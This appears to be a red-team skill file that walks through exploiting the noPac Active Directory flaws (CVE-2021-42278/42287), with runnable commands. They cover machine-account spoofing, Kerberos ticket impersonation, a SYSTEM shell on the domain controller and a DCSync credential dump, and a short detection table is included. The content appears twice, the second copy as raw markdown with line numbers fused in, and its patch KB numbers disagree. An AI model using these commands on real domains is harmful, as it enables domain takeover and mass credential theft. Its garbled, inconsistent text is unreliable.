Exploiting noPac (CVE-2021-42278 / CVE-2021-42287)
Overview
noPac is a critical exploit chain combining two Active Directory vulnerabilities: CVE-2021-42278 (sAMAccountName spoofing) and CVE-2021-42287 (KDC PAC confusion). Together, they allow any authenticated domain user to escalate to Domain Admin privileges, potentially achieving full domain compromise in under 60 seconds. CVE-2021-42278 allows an attacker to modify a machine account's sAMAccountName attribute to match a Domain Controller's name (minus the trailing $). CVE-2021-42287 exploits a flaw in the Kerberos PAC validation where the KDC, unable to find the renamed account, falls back to appending $ and issues a ticket for the Domain Controller account. Microsoft patched both vulnerabilities in November 2021 (KB5008380 and KB5008602), but many environments remain unpatched. The exploit was publicly released by cube0x0 and Ridter in December 2021.
Objectives
- Scan the target domain for noPac vulnerability (CVE-2021-42278/42287)
- Create or leverage a machine account with modified sAMAccountName
- Exploit the KDC PAC confusion to obtain a TGT for the Domain Controller
- Use the DC ticket to perform DCSync and dump domain credentials
- Achieve Domain Admin access from a standard domain user account
- Document the complete exploitation chain with evidence
MITRE ATT&CK Mapping
- T1068 - Exploitation for Privilege Escalation
- T1136.002 - Create Account: Domain Account
- T1078.002 - Valid Accounts: Domain Accounts
- T1558 - Steal or Forge Kerberos Tickets
- T1003.006 - OS Credential Dumping: DCSync
Implementation Steps
Phase 1: Vulnerability Scanning
- Check if the domain is vulnerable using the noPac scanner:
# Using cube0x0's noPac scanner
python3 scanner.py domain.local/user:'Password123' -dc-ip 10.10.10.1
# Using CrackMapExec module
crackmapexec smb 10.10.10.1 -u user -p 'Password123' -M nopac
- Verify the MachineAccountQuota (default is 10, allows any user to join computers):
# Check MachineAccountQuota via LDAP
python3 -c "
import ldap3
server = ldap3.Server('10.10.10.1')
conn = ldap3.Connection(server, 'domain.local\\user', 'Password123', auto_bind=True)
conn.search('DC=domain,DC=local', '(objectClass=domain)', attributes=['ms-DS-MachineAccountQuota'])
print(conn.entries[0]['ms-DS-MachineAccountQuota'])
"
Phase 2: Exploitation with noPac Tool
- Run the full noPac exploit chain:
# Using cube0x0's noPac (gets a shell on the DC)
python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
-dc-host DC01 -shell --impersonate administrator -use-ldap
# Using Ridter's noPac (alternative implementation)
python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
--impersonate administrator -dump
- The exploit automatically:
- Creates a new machine account (or uses an existing one)
- Renames the machine account's sAMAccountName to match the DC (e.g., "DC01")
- Requests a TGT for the spoofed account name
- Restores the original sAMAccountName
- Uses S4U2self to obtain a service ticket impersonating the target user
- The KDC finds no account matching "DC01" and falls back to "DC01$" (the real DC)
Phase 3: Post-Exploitation
- With the obtained Domain Controller ticket, perform DCSync:
# DCSync using secretsdump.py with the Kerberos ticket
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local
# Or directly through the noPac shell
# The shell runs as SYSTEM on the DC
- Alternatively, obtain a semi-interactive shell:
python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
-dc-host DC01 -shell --impersonate administrator -use-ldap
Phase 4: Manual Exploitation Steps
- Create a machine account:
addcomputer.py -computer-name 'ATTACKPC$' -computer-pass 'AttackPass123' \
-dc-ip 10.10.10.1 domain.local/user:'Password123'
- Clear the SPN and rename sAMAccountName:
# Rename machine account sAMAccountName to DC name (without $)
renameMachine.py -current-name 'ATTACKPC$' -new-name 'DC01' \
-dc-ip 10.10.10.1 domain.local/user:'Password123'
- Request a TGT for the spoofed name:
getTGT.py -dc-ip 10.10.10.1 domain.local/'DC01':'AttackPass123'
- Restore the original machine name:
renameMachine.py -current-name 'DC01' -new-name 'ATTACKPC$' \
-dc-ip 10.10.10.1 domain.local/user:'Password123'
- Use S4U2self for impersonation:
export KRB5CCNAME=DC01.ccache
getST.py -self -impersonate 'administrator' -altservice 'cifs/DC01.domain.local' \
-k -no-pass -dc-ip 10.10.10.1 domain.local/'ATTACKPC$'
Tools and Resources
| Tool |
Purpose |
Platform |
| noPac (cube0x0) |
Automated scanner and exploiter |
Python |
| noPac (Ridter) |
Alternative exploit implementation |
Python |
| Impacket |
Kerberos ticket manipulation, DCSync |
Python |
| CrackMapExec |
Vulnerability scanning module |
Python |
| Rubeus |
Windows Kerberos ticket operations |
Windows (.NET) |
| secretsdump.py |
Post-exploitation credential dumping |
Python |
CVE Details
| CVE |
Description |
CVSS |
Patch |
| CVE-2021-42278 |
sAMAccountName spoofing (machine accounts) |
7.5 |
KB5008102 |
| CVE-2021-42287 |
KDC PAC confusion / privilege escalation |
7.5 |
KB5008380 |
Detection Signatures
| Indicator |
Detection Method |
| Machine account sAMAccountName change |
Event 4742 (computer account changed) with sAMAccountName modification |
| New machine account creation |
Event 4741 (computer object created) |
| TGT request for account without trailing $ |
Kerberos audit log analysis |
| S4U2self requests from non-DC machine accounts |
Event 4769 with unusual service ticket requests |
| Rapid sequence: create account, rename, request TGT |
SIEM correlation rule for noPac attack pattern |
Validation Criteria
1---2name: exploiting-nopac-cve-2021-42278-422873description: Exploit the noPac vulnerability chain (CVE-2021-42278 sAMAccountName spoofing and CVE-2021-42287 KDC PAC confusion) to escalate from standard domain user to Domain Admin in Active Directory environments.4domain: cybersecurity5subdomain: red-teaming6tags: [red-team, active-directory, nopac, cve-2021-42278, cve-2021-42287, privilege-escalation, domain-escalation]7version: "1.0"8author: mahipal9license: MIT10metadata:11 source: https://skillmd.com/skills/njones17/exploiting-nopac-cve-2021-42278-4228712---1314# Exploiting noPac (CVE-2021-42278 / CVE-2021-42287)1516## Overview1718noPac is a critical exploit chain combining two Active Directory vulnerabilities: CVE-2021-42278 (sAMAccountName spoofing) and CVE-2021-42287 (KDC PAC confusion). Together, they allow any authenticated domain user to escalate to Domain Admin privileges, potentially achieving full domain compromise in under 60 seconds. CVE-2021-42278 allows an attacker to modify a machine account's sAMAccountName attribute to match a Domain Controller's name (minus the trailing $). CVE-2021-42287 exploits a flaw in the Kerberos PAC validation where the KDC, unable to find the renamed account, falls back to appending $ and issues a ticket for the Domain Controller account. Microsoft patched both vulnerabilities in November 2021 (KB5008380 and KB5008602), but many environments remain unpatched. The exploit was publicly released by cube0x0 and Ridter in December 2021.1920## Objectives2122- Scan the target domain for noPac vulnerability (CVE-2021-42278/42287)23- Create or leverage a machine account with modified sAMAccountName24- Exploit the KDC PAC confusion to obtain a TGT for the Domain Controller25- Use the DC ticket to perform DCSync and dump domain credentials26- Achieve Domain Admin access from a standard domain user account27- Document the complete exploitation chain with evidence2829## MITRE ATT&CK Mapping3031- **T1068** - Exploitation for Privilege Escalation32- **T1136.002** - Create Account: Domain Account33- **T1078.002** - Valid Accounts: Domain Accounts34- **T1558** - Steal or Forge Kerberos Tickets35- **T1003.006** - OS Credential Dumping: DCSync3637## Implementation Steps3839### Phase 1: Vulnerability Scanning401. Check if the domain is vulnerable using the noPac scanner:41 ```bash42 # Using cube0x0's noPac scanner43 python3 scanner.py domain.local/user:'Password123' -dc-ip 10.10.10.14445 # Using CrackMapExec module46 crackmapexec smb 10.10.10.1 -u user -p 'Password123' -M nopac47 ```482. Verify the MachineAccountQuota (default is 10, allows any user to join computers):49 ```bash50 # Check MachineAccountQuota via LDAP51 python3 -c "52 import ldap353 server = ldap3.Server('10.10.10.1')54 conn = ldap3.Connection(server, 'domain.local\\user', 'Password123', auto_bind=True)55 conn.search('DC=domain,DC=local', '(objectClass=domain)', attributes=['ms-DS-MachineAccountQuota'])56 print(conn.entries[0]['ms-DS-MachineAccountQuota'])57 "58 ```5960### Phase 2: Exploitation with noPac Tool611. Run the full noPac exploit chain:62 ```bash63 # Using cube0x0's noPac (gets a shell on the DC)64 python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \65 -dc-host DC01 -shell --impersonate administrator -use-ldap6667 # Using Ridter's noPac (alternative implementation)68 python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \69 --impersonate administrator -dump70 ```712. The exploit automatically:72 - Creates a new machine account (or uses an existing one)73 - Renames the machine account's sAMAccountName to match the DC (e.g., "DC01")74 - Requests a TGT for the spoofed account name75 - Restores the original sAMAccountName76 - Uses S4U2self to obtain a service ticket impersonating the target user77 - The KDC finds no account matching "DC01" and falls back to "DC01$" (the real DC)7879### Phase 3: Post-Exploitation801. With the obtained Domain Controller ticket, perform DCSync:81 ```bash82 # DCSync using secretsdump.py with the Kerberos ticket83 export KRB5CCNAME=administrator.ccache84 secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local8586 # Or directly through the noPac shell87 # The shell runs as SYSTEM on the DC88 ```892. Alternatively, obtain a semi-interactive shell:90 ```bash91 python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \92 -dc-host DC01 -shell --impersonate administrator -use-ldap93 ```9495### Phase 4: Manual Exploitation Steps961. Create a machine account:97 ```bash98 addcomputer.py -computer-name 'ATTACKPC$' -computer-pass 'AttackPass123' \99 -dc-ip 10.10.10.1 domain.local/user:'Password123'100 ```1012. Clear the SPN and rename sAMAccountName:102 ```bash103 # Rename machine account sAMAccountName to DC name (without $)104 renameMachine.py -current-name 'ATTACKPC$' -new-name 'DC01' \105 -dc-ip 10.10.10.1 domain.local/user:'Password123'106 ```1073. Request a TGT for the spoofed name:108 ```bash109 getTGT.py -dc-ip 10.10.10.1 domain.local/'DC01':'AttackPass123'110 ```1114. Restore the original machine name:112 ```bash113 renameMachine.py -current-name 'DC01' -new-name 'ATTACKPC$' \114 -dc-ip 10.10.10.1 domain.local/user:'Password123'115 ```1165. Use S4U2self for impersonation:117 ```bash118 export KRB5CCNAME=DC01.ccache119 getST.py -self -impersonate 'administrator' -altservice 'cifs/DC01.domain.local' \120 -k -no-pass -dc-ip 10.10.10.1 domain.local/'ATTACKPC$'121 ```122123## Tools and Resources124125| Tool | Purpose | Platform |126|------|---------|----------|127| noPac (cube0x0) | Automated scanner and exploiter | Python |128| noPac (Ridter) | Alternative exploit implementation | Python |129| Impacket | Kerberos ticket manipulation, DCSync | Python |130| CrackMapExec | Vulnerability scanning module | Python |131| Rubeus | Windows Kerberos ticket operations | Windows (.NET) |132| secretsdump.py | Post-exploitation credential dumping | Python |133134## CVE Details135136| CVE | Description | CVSS | Patch |137|-----|-------------|------|-------|138| CVE-2021-42278 | sAMAccountName spoofing (machine accounts) | 7.5 | KB5008102 |139| CVE-2021-42287 | KDC PAC confusion / privilege escalation | 7.5 | KB5008380 |140141## Detection Signatures142143| Indicator | Detection Method |144|-----------|-----------------|145| Machine account sAMAccountName change | Event 4742 (computer account changed) with sAMAccountName modification |146| New machine account creation | Event 4741 (computer object created) |147| TGT request for account without trailing $ | Kerberos audit log analysis |148| S4U2self requests from non-DC machine accounts | Event 4769 with unusual service ticket requests |149| Rapid sequence: create account, rename, request TGT | SIEM correlation rule for noPac attack pattern |150151## Validation Criteria152153- [ ] Domain scanned for noPac vulnerability154- [ ] MachineAccountQuota verified (default 10)155- [ ] Exploit executed successfully (shell or DCSync)156- [ ] Domain Admin privileges obtained from standard user157- [ ] DCSync performed to dump domain credentials158- [ ] KRBTGT hash obtained for persistence validation159- [ ] Attack chain documented with timestamps160- [ ] Patch status verified (KB5008380, KB5008602)